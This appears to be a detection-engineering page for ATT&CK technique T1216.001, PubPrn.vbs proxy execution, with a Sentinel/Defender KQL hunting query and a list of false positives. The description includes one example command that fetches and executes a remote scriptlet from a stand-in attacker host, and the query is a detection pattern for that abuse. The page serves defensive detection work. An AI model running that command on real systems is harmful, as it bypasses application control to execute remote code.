T1216.001

PubPrn

Adversaries may abuse PubPrn.vbs to proxy execution of malicious remote scriptlet files. PubPrn.vbs is a Microsoft-signed Visual Basic Script located at C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs that is designed to publish printers to Active Directory Domain Services. Because the script is signed by Microsoft, it can be used to bypass application control solutions that trust Microsoft-signed code. Adversaries pass a script: URI scheme as the second parameter (e.g., pubprn.vbs 127.0.0.1 script:https://attacker.com/payload.sct) to fetch and execute a remote COM scriptlet (.sct) file via scrobj.dll. The script is typically invoked via cscript.exe or wscript.exe. Windows 10 and later versions restrict the second parameter to LDAP:// URIs, mitigating the remote code execution vector on patched systems; however, legacy environments and custom scripts may remain vulnerable.

Microsoft Sentinel / Defender
kusto
DeviceProcessEvents
| where Timestamp > ago(24h)
| where FileName in~ ("cscript.exe", "wscript.exe")
| where ProcessCommandLine has_any ("pubprn", "pubprn.vbs")
| extend HasScriptMoniker = ProcessCommandLine has "script:"
| extend HasHTTP = ProcessCommandLine has_any ("http://", "https://")
| extend HasSCT = ProcessCommandLine has ".sct"
| extend HasRemoteRef = HasScriptMoniker and (HasHTTP or HasSCT)
| extend HasLDAPOnly = ProcessCommandLine has "LDAP://" and not HasScriptMoniker
// Flag any use of script: moniker — should never appear in legitimate pubprn usage
| where HasScriptMoniker or HasSCT
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
         InitiatingProcessFileName, InitiatingProcessCommandLine,
         HasScriptMoniker, HasHTTP, HasSCT, HasRemoteRef
| sort by Timestamp desc
high severity high confidence

Data Sources

Process: Process Creation Command: Command Execution Microsoft Defender for Endpoint

Required Tables

DeviceProcessEvents

False Positives

  • Legacy printer management scripts that reference pubprn.vbs legitimately via LDAP:// — these will NOT match this query since we filter for script: or .sct
  • Red team or penetration testing exercises using PubPrn as a living-off-the-land bypass
  • Security researchers validating detection coverage by running atomic tests in a lab

Unlock Pro Content

Get the full detection package for T1216.001 including response playbook, investigation guide, and atomic red team tests.

Response PlaybookInvestigation GuideHunting QueriesAtomic Red Team TestsTuning Guidance

Related Detections